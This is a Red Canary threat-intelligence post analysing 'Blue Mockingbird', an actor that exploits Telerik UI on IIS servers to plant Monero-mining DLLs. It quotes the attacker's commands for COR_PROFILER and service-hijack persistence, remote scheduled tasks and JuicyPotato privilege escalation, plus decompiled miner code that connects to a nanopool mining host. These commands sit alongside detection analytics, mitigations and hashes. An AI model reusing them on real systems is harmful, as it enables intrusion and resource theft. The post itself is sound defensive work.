Introducing Blue Mockingbird

Red Canary Intel is monitoring a potentially novel threat that is deploying Monero cryptocurrency-mining payloads on Windows machines at multiple organizations.

MAY 7, 2020 • DETECTION AND RESPONSE
TONY LAMBERT

Blue Mockingbird is the name we've given to a cluster of similar activity we've observed involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. They achieve initial access by exploiting public-facing web applications, specifically those that use Telerik UI for ASP.NET, followed by execution and persistence using multiple techniques (check out my colleague Jesse Brown's new blog for details on Blue Mockingbird's `COR_PROFILER` persistence mechanism). During at least one incident, the adversary used proxying software and experimented with different kinds of reverse shell payloads to connect to external systems. The earliest Blue Mockingbird tools we've observed were created in December 2019.

Gaining entry

In at least two incident response (IR) engagements, Blue Mockingbird has exploited public-facing web applications (T1190: Exploit Public-Facing Application) that implemented Telerik UI for ASP.NET AJAX. This suite of user interface components accelerates the web development process, but some versions are susceptible to a deserialization vulnerability, CVE-2019-

In exploiting this vulnerability, two DLLs are uploaded to a web application running on a Windows IIS web server. In telemetry, investigators will notice `w3wp.exe` writing the DLLs to disk and then immediately loading them into memory afterward. In some cases, this will cause `w3wp.exe` to temporarily freeze and fail to successfully serve HTTP responses.

For a diagnostic to determine whether you are potentially affected by the Telerik CVE, you can search the IIS access logs for the string `POST Telerik.Web.UI.WebResource.axd`. In victim environments, our IR partners found entries similar to these:

```
2020-04-29 02:01:24 10.0.0.1 POST
/Telerik.Web.UI.WebResource.axd type=rau 80 -
Mozilla/5.0+
(Windows+NT+10.0;+Win64;+x64;+rv:54.0)+Gecko/20100101+Firefo
 - 200 0 0 625

2020-04-29 02:01:27 10.0.0.1 POST
/Telerik.Web.UI.WebResource.axd type=rau 80 -
Mozilla/5.0+
(Windows+NT+10.0;+Win64;+x64;+rv:54.0)+Gecko/20100101+Firefo
 - 500 0 0 46
```

In the entries, the string `200` refers to HTTP response code 200 where the POST request was successful, and the string `500` refers to HTTP code 500 where the POST request was not processed successfully by the web server. These code 500 entries happened when the `w3wp.exe` process loaded the uploaded DLLs into memory and temporarily froze.

Searching the IIS access logs for entries like these is a good idea even if you don't explicitly know whether you use Telerik UI, as some web applications require the suite as a dependency behind the scenes.

If you have endpoint detection and response (EDR) or similar tools, you'll notice `cmd.exe` or other suspicious processes spawning from `w3wp.exe`.

Execution and evasion

The primary payload distributed by Blue Mockingbird is a version of XMRIG packaged as a DLL. XMRIG is a popular, open-source Monero-mining tool that adversaries can easily compile into custom tooling. During the incidents, we noted three distinct uses.

The first use was execution with `rundll32.exe` explicitly calling the DLL export `fackaaxv` (T1218.011: Rundll32). This export seems unique to this actor's payloads and doesn't seem to happen other places in the wild:

```
rundll32.exe dialogex.dll,fackaaxv
```

The next use was execution using `regsvr32.exe` using the `/s` command-line option (T1218.010: Regsvr32). Supplying the `/s` switch executes the `DllRegisterServer` export exposed by the DLL payload. This export ultimately passed control of execution into the function that `fackaax` exported:

```
regsvr32.exe /s dialogex.dll
```

The final execution path was with the payload configured as a Windows Service DLL (T1569.002: Service Execution). Once configured, execution of the service invoked the export `ServiceMain`, which again passed control to `fackaaxv`.

Come for the exploit, stay for the mining

Blue Mockingbird leveraged multiple techniques for persistence during incidents. The most novel technique was the use of a `COR_PROFILER COM` hijack to execute a malicious DLL and restore items removed by defenders (T1559.001: Component Object Model). To use `COR_PROFILER`, they used `wmic.exe` and Windows Registry modifications to set environment variables and specify a DLL payload.

```
wmic ENVIRONMENT where "name='COR_PROFILER'"
delete

wmic ENVIRONMENT create
name="COR_ENABLE_PROFILING",username="",VariableValue="1"


wmic ENVIRONMENT create
name="COR_PROFILER",username="",VariableValue=""

REG.EXE ADD
HKEY_LOCAL_MACHINE\Software\Classes\CLSID\\InProcServer32
 /V ThreadingModel /T REG_SZ /D Apartment /F

REG.EXE ADD
HKEY_LOCAL_MACHINE\Software\Classes\CLSID\\InProcServer32
 /VE /T REG_SZ /D
"c:\windows\System32\e0b3489da74f.dll" /F
```

The payload DLL specified as a `COR_PROFILER` was simple and gathered few antivirus detections. It executed the following command:

```
cmd.exe /c sc config wercplsupport start= auto &&
sc start wercplsupport && copy
c:\windows\System32\dialogex.dll
c:\windows\System32\wercplsupporte.dll /y &&
schtasks /create /tn "Windows Problems Collection"
/tr "regsvr32.exe /s
c:\windows\System32\wercplsupporte.dll" /sc DAILY
```

Since `COR_PROFILER` was configured, every process that loaded the Microsoft .NET Common Language Runtime would execute the command above, re-establishing persistence. The command configured the Windows Problem Reports and Solutions Control Panel Support service to execute automatically at boot (T1543.003: Windows Service). In a separate command, the actor modified the existing `wercplsupport` service to use the miner DLL instead of the legitimate one:

```
reg add
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wercpl
 /f /v ServiceDll /t REG_EXPAND_SZ /d
"c:\windows\System32\wercplsupporte.dll"
```

Note that the actor used the DLL name `wercplsupporte.dll` as an attempt to masquerade as the legitimate DLL name, which is `wercplsupport.dll` (T1036.005: Match Legitimate Name or Location). In addition, more masquerading was used to make malicious Scheduled Tasks blend in with legitimate ones (T1053.005: Scheduled Task).

In some cases, the actor even created a new service to perform the same actions as the COR_PROFILER payload:

```
sc create 8995 binPath= "cmd /c sc config
wercplsupport start= auto & sc start wercplsupport
& copy c:\windows\System32\8995.dll
c:\windows\System32\wercplsupporte.dll /y &
regsvr32.exe /s c:\windows\System32\8995.dll"
type= share start= auto error= ignore DisplayName=
8995
```

Escalating privileges and accessing credentials

It's worth noting that Blue Mockingbird's initial access does not provide the privileges needed to establish the many persistence mechanisms used. In one engagement we observed, the adversary using a JuicyPotato exploit to escalate privileges from an IIS Application Pool Identity virtual account to the `NT Authority\SYSTEM` account. JuicyPotato allows

an attacker to abuse the `SeImpersonate` token privilege and Windows DCOM to move from an unprivileged account to the highest level of privilege on a system (T1068: Exploitation for Privilege Escalation). During this engagement, the attacker abused a DCOM class and leveraged the IIS Application Pool Identity's `SeImpersonate` privilege to perform the escalation:

```
c:\programdata\let.exe -t t -p
c:\programdata\rn.bat -l 1234 -c {8BC3F05E-D86B-
11D0-A075-00C04FB68820}
```

In another engagement, we observed the adversary using Mimikatz (the official signed version) to access credentials for logon (T1003.001: LSASS Memory).

Free to move around the network

As with other adversaries that mine cryptocurrency opportunistically, Blue Mockingbird likes to move laterally and distribute mining payloads across an enterprise. We observed Blue Mockingbird move laterally using a combination of the Remote Desktop Protocol to access privileged systems and Windows Explorer to then distribute payloads to remote systems (T1021.001 Remote Desktop Protocol, T1021.002 SMB/Windows Admin Shares). In some cases, Scheduled Tasks were created remotely with `schtasks.exe /S` to ensure execution.

```
schtasks /create /tn "setup service Management"
/tr "c:\windows\temp\rn.bat" /sc ONCE /st 00:00 /F
/RU System /S remote_host
```

A look at command and control

A novel aspect of this adversary is that their toolkit does not appear to be fully defined. In at least one engagement, we observed Blue Mockingbird seemingly experimenting with different tools to create SOCKS proxies (T1090: Proxy) for pivoting. These tools included a fast reverse proxy (frp), Secure Socket Funneling (SSF), and Venom. In one instance, the adversary also tinkered with PowerShell reverse TCP shells and a reverse shell in DLL form (T1059.001: PowerShell).

Take action

We've scratched the surface on the XMRIG DLL payload, but we can dive deeper to understand more details (T1496: Resource Hijacking). First, the export **fackaaxv** has been consistently present in the DLLs. Next, each DLL also contains a PE binary section **_RANDOMX**. This section appears unique to cryptocurrency-mining payloads because it houses the RandomX proof of work algorithm that XMRIG may use. The network connections made for mining usually involve a **nanopool[.]org** domain.

We made the assessment that the payload was actually XMRIG based on several pieces of evidence. First, there were multiple references to "xmrig", including version numbers, in the binary strings. These were accompanied by cleartext references to command-line options common to XMRIG:

```
coin

donate-level

max-cpu-usage

cpu-priority

log-file
```

```
                    /* 0x717c0  3  fackaaxv */
local_18 = DAT_18037e5a0 ^ (ulonglong)auStack328;
local_118 = 0x13;
local_b8[0] = "test.dll";
uVar7 = 0;
local_b8[1] = &DAT_180337bd4;
local_100 = 0;
local_b8[2] = "xmr-au1.nanopool.org:14433";
local_b8[3] = &DAT_180337bb0;
local_b8[4] =
[redacted];
local_b8[5] = &DAT_180337bf0;
local_b8[6] = &DAT_180334288;
local_b8[7] = &DAT_180337bec;
local_b8[8] = "--tls";
local_b8[9] = "--coin";
local_b8[10] = "monero";
local_b8[11] = "--max-cpu-usage";
local_b8[12] = &DAT_180337c60;
local_b8[13] = "--donate-level";
local_b8[14] = &DAT_180337ca0;
local_b8[15] = "--cpu-priority";
local_b8[16] = &DAT_180337c88;
local_b8[17] = "--log-file";
local_b8[18] = "C:\\ProgramData\\tttx.log";
local_120 = local_b8;
local_110 = ZEXT816(0);
do {
  FUN_18001b190(&local_120,local_b8[uVar7]);
  uVar7 = uVar7 + 1;
```

The final piece of evidence came from a text log written to disk by some versions of the miner DLL. In the text logs, identifying information for XMRIG was output alongside hardware details for the victim system.

```
* ABOUT       XMRig/5.3.0 MSVC/2015

* LIBS       libuv/1.31.0 OpenSSL/1.1.1c
hwloc/2.1.0

* HUGE PAGES       unavailable
```

```
* CPU       Intel(R) Core(TM) i7-4770 CPU @
3.40GHz (1) x64 AES
                L2:0.3 MB L3:8.0 MB 1C/1T NUMA:1

* MEMORY       1.3/4.0 GB (33%)

* DONATE        0%

* POOL #1       xmr-au1.nanopool.org:14433 coin
monero

* COMMANDS       'h' hashrate, 'p' pause, 'r'
resume

* OPENCL       disabled

* CUDA       disabled

[2020-04-16 08:30:26.753] [xmr-
au1.nanopool.org:14433] DNS error: "unknown node
or service"
```

Each payload comes compiled with a standard list of commonly used Monero-mining domains alongside a Monero wallet address. So far, we've identified two wallet addresses used by Blue Mockingbird that are in active circulation. Due to the private nature of Monero, we cannot see the balance of these wallets to estimate their success. We've seen mining payloads compiled as early as December 2019 and as recently as late April 2020. In each compilation, one of the two wallets has been embedded into the binary. The wallet addresses could be extracted from the binaries easily in earlier versions using a simple `strings` command. In newer versions, the string is obfuscated.

Even with string obfuscation in the binary, you can observe the wallet addresses in network traffic. During execution of the miner DLLs, unique information is passed in cleartext across TCP streams:


```
{"id":1,"jsonrpc":"2.0","method":"login","params":
{"login":"[redacted]","pass":"s","agent"
:"XMRig/5.3.0 (Windows NT 10.0; Win64; x64) libuv/1.31.0 msvc/2015","algo":["cn/1","cn/2","cn/r","cn/fast","cn/half","cn/
xao","cn/rto","cn/rwz","cn/zls","cn/double","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","rx/0","rx/wow","rx/
loki","rx/arq"]}}
```


We recommend the following analytics:

Process is `cmd.exe` with command line including `sc` AND `config` AND `wercplsupporte.dll`

Any process where command line includes `-t` AND `-c` AND `-l` with network connections from `127.0.0.1` and to `127.0.0.1` on port tcp135 (JuicyPotato)

Process is `schtasks.exe` with command line including `/create` AND `sc start wercplsupport`

Process is `rundll32.exe` with command line including `fackaaxv`

Process is `regsvr32.exe` with command line including `/s` and having an external network connection

Process is `wmic.exe` with command line including `create` AND `COR_PROFILER`

For mitigations, focus on patching web servers, web applications, and dependencies of the applications. Most of the techniques used by Blue Mockingbird will bypass whitelisting technologies, so the best route will be to inhibit initial access. Consider establishing a baseline of Windows Scheduled Tasks in your environment to know what is normal across your enterprise.

Let's collaborate!

If you've been tracking similar activity, we'd love to hear from you and collaborate. Contact blog@redcanary.com with any observations or questions.

INDICATORS OF COMPROMISE FOR XMRIG MINER DLLS

sha256	compile time	imphash
d388c309a540d4619169a07a4b64707f4c44953511875b57ad7cfa3e097115af	12/19/2019 17:49:20	a9d40d5a22948019ae9c5f1b464
14e3c16ca940244bea9b6080fa02384ebb4818572cef7092f90d72ae210b330d	1/4/2020 12:00:23	aed97d3d2b87ab0b55dab3a3e
5377c69c05817a0e18f7b0ebbeed420f9ab8d1e81b439f439b42917fbe772dfb	2/6/2020 10:24:29	1614f0ce7b6c11bf8bd8a76885c
c957d007824ee8173c67122a1843c979c818614eeed7db03dea3ba7fede43eba	2/6/2020 10:24:29	1614f0ce7b6c11bf8bd8a76885c
5d7116f04e10e968de64c4201fc7374fa84b364e90f8e4eba0fbc41afeaf468c	2/19/2020 13:52:10	aed97d3d2b87ab0b55dab3a3e
909495884627e2e74d07d729b5e046f3ae01cabd9f0a5a99c74d46046a677f7c	2/22/2020 14:38:33	aed97d3d2b87ab0b55dab3a3e
ab698a35dc5263f0ca460f09dcbc9f8a4aeb7643365a1e7fa122581ef72c34b6	3/8/2020 16:57:32	1614f0ce7b6c11bf8bd8a76885c
60504228b3fc524287bf2a260db933a408639b2f1a29af7538c61b00c4a44c86	3/24/2020 16:15:16	aed97d3d2b87ab0b55dab3a3e

sha256	compile time	imphash
1d30d3cafdcc43b2f9a593983ad096c2c3941025fb4e91257e2dcf0919ed24ba	3/24/2020 16:15:44	9ccdf92e630d907101a249f1524
968b324be2b89f1a8ee4743d946723c1ffdca16ccfbbbbb68e5b9f60e0bff4c9	4/9/2020 16:05:45	aed97d3d2b87ab0b55dab3a3e
018a02fd0dbc63e54656b8915d71cd8a2ce4409608ae4dff6ec196ffa8743ba1	4/14/2020 19:00:06	aed97d3d2b87ab0b55dab3a3e
b31f7152a547fa41c31f9c96177b2cd7131a93f7c328bf6da360dc1586ba18dc	2020-04-26 14:58:24	aed97d3d2b87ab0b55dab3a3e

INDICATORS OF COMPROMISE FOR COR_PROFILER DLLS

sha256	compile time	imphash
9a432ea16e74b36c55ec5faa790937fe752ff2561cef83e44856fd1e72398309	2020-02-16 9:24:30	8432f0b0e6fbfe4ac5d53400aa09d6
de6c061aafc5d86e692bec45f69b2ea18639abd540b59c2c281717a054a48dd5	2020-02-22 14:57:17	8432f0b0e6fbfe4ac5d53400aa09d6

RELATED ARTICLES

MAY 7, 2020

DETECTION AND RESPONSE

Detecting COR_PROFILER manipulation for persistence

APRIL 28, 2020
DETECTION AND RESPONSE

Lateral Movement with Secure Shell (SSH)

MARCH 26, 2020
DETECTION AND RESPONSE

2020 Threat Detection Report: the conversation continues

MARCH 18, 2020
DETECTION AND RESPONSE

Worms shape the narrative in Red Canary's 2020 Threat Detection Report